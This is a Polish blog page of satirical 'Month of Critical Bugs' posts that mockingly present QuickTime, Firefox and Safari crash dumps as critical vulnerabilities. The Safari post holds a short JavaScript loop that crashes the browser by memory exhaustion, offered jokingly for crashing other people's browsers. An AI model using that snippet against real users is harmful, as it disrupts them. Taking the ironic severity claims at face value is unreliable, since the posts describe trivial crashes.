Pokazywanie postów oznaczonych etykietą #security. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą #security. Pokaż wszystkie posty

piątek, 11 marca 2011

[MOCB] Critical bug w Quicktime

Ciągnąc dalej cykl Month of Critical Bugs redakcja niekoniecznika postanowiła tym razem wziąć na cel wielce popularny odtwarzacz multimedialny QuickTime Player. Dzięki swoim uberhax0rskim umiejętnościom wyniesionym ze szkoleń Niebezpicznika oraz wiedzy i doświadczeniu znanego polskiego HAKERA cxib'a (pozdraffiamy :*) udało nam się znaleźć krytyczną lukę bezpieczeństwa umożliwiającą przeprowadzenie ataku DoS na wszystkich użytkownikach wyżej wymienionej aplikacji.

(618.c2c): Access violation - code c0000005 (first chance)
r
eax=07150000 ebx=00000078 ecx=00000000 edx=00000002 esi=0013abf8 edi=0013ac04
eip=67095275 esp=0013ab8c ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for 
C:\Program Files\QuickTime\QTSystem\QuickTime.qts -
QuickTime!DD_CDComponentDispatch+0x565:
67095275 8a18         mov     bl,byte ptr [eax]          ds:0023:07150000=??

Info:

BASIC_BLOCK_INSTRUCTION:67095275 mov bl,byte ptr [eax]
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax
BASIC_BLOCK_INSTRUCTION:67095277 lea edi,[esi+0ch]
BASIC_BLOCK_INSTRUCTION:6709527a add eax,1
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax
BASIC_BLOCK_INSTRUCTION:6709527d test bl,bl
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:bl
BASIC_BLOCK_INSTRUCTION:6709527f mov dword ptr [edi],eax
BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax
BASIC_BLOCK_INSTRUCTION:67095281 je quicktime!dd_cdcomponentdispatch+0x5bf
(670952cf)



Quicktime pwned big time! (a gdzie nasza nagroda na pwn2own ? )

czwartek, 10 marca 2011

[MOCB] firefox 4

Jako, że mozilla opublikowała właśnie swoją nową przeglądarkę w wersji 4 (RC1), chcielibyśmy jako pierwsi na świecie (albo i nie?) opublikować KRYTYCZNĄ lukę nadesłaną przez jednego z czytelników. Okazuje się, że jak szybko się śmiga po DOMie to silnik nie daje rady i nagle się zawiesza. A o to efekt:

(1534.15a8): Access violation - code c0000005 (first chance)
[TUTAJ REJESTRY TUTAJ REJESTRY TUTAJ REJESTRY TUTAJ REJESTRY]
xul!mozilla::scache::NS_NewObjectOutputWrappedStorageStream+0x860b:
63137692 803e5c cmp byte ptr [esi],5Ch ds:002b:06104000=??

zapraszamy do wspólnej zabawy i nadsyłania kolejnych crashy!

środa, 9 marca 2011

MOCB - Month Of Critical Bugs

Witam,
redakcja Niekoniecznika wszem i wobec ogłasza sezon na błędy krytyczne.
Jako, że jesteśmy Hakerami chcielibyśmy ostrzec zagubionych cyberprzestępców (pozdrowienia dla CXIB http://cxib.net/?advisories) przed krytycznym błędem w przeglądarce Internetowej SAFARI.
Wykonanie kodu javascript kończy się wykrzaczeniem przeglądarki:
var a = 'ABCD';
var elem = new Array();
for(var i = 0; i < 25; i++) 
{ 
a = a + a; 
elem[i] = a;
document.write(elem[i]);
 } 
(11fc.da8): Access violation - code c0000005 (first chance) 
First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 
eax=6e149ea8 ebx=00028a70 ecx=6e149ea8 edx=00000008 
esi=6e144550 edi=7ef90240 eip=6e0cd3be esp=0039ebac 
ebp=0039ebd4 iopl=0         
nv up ei pl zr na pe nc cs=0023  ss=002b  ds=002b  
es=002b  fs=0053  gs=002b             
efl=00010246 *** ERROR: Symbol file could not be found.  
Defaulted to export symbols for 
C:\Program Files (x86)\Common Files\Apple\Apple Application
Support\JavaScriptCore.dll - JavaScriptCore!WTF::fastRealloc+0x2d0: 
6e0cd3be 8325efbeadbb00  and     dword ptr ds:[0BBADBEEFh],0 
ds:002b:bbadbeef=???????? 0:000>
W ten oto sposób możemy na konferencji poświęconej bezpieczeństwu systemów i przeglądarek zawiesić dowolnemu użytkownikowi przeglądarkę.

Zapraszamy Was wszystkich do nadsyłania podobnych błędów krytycznych.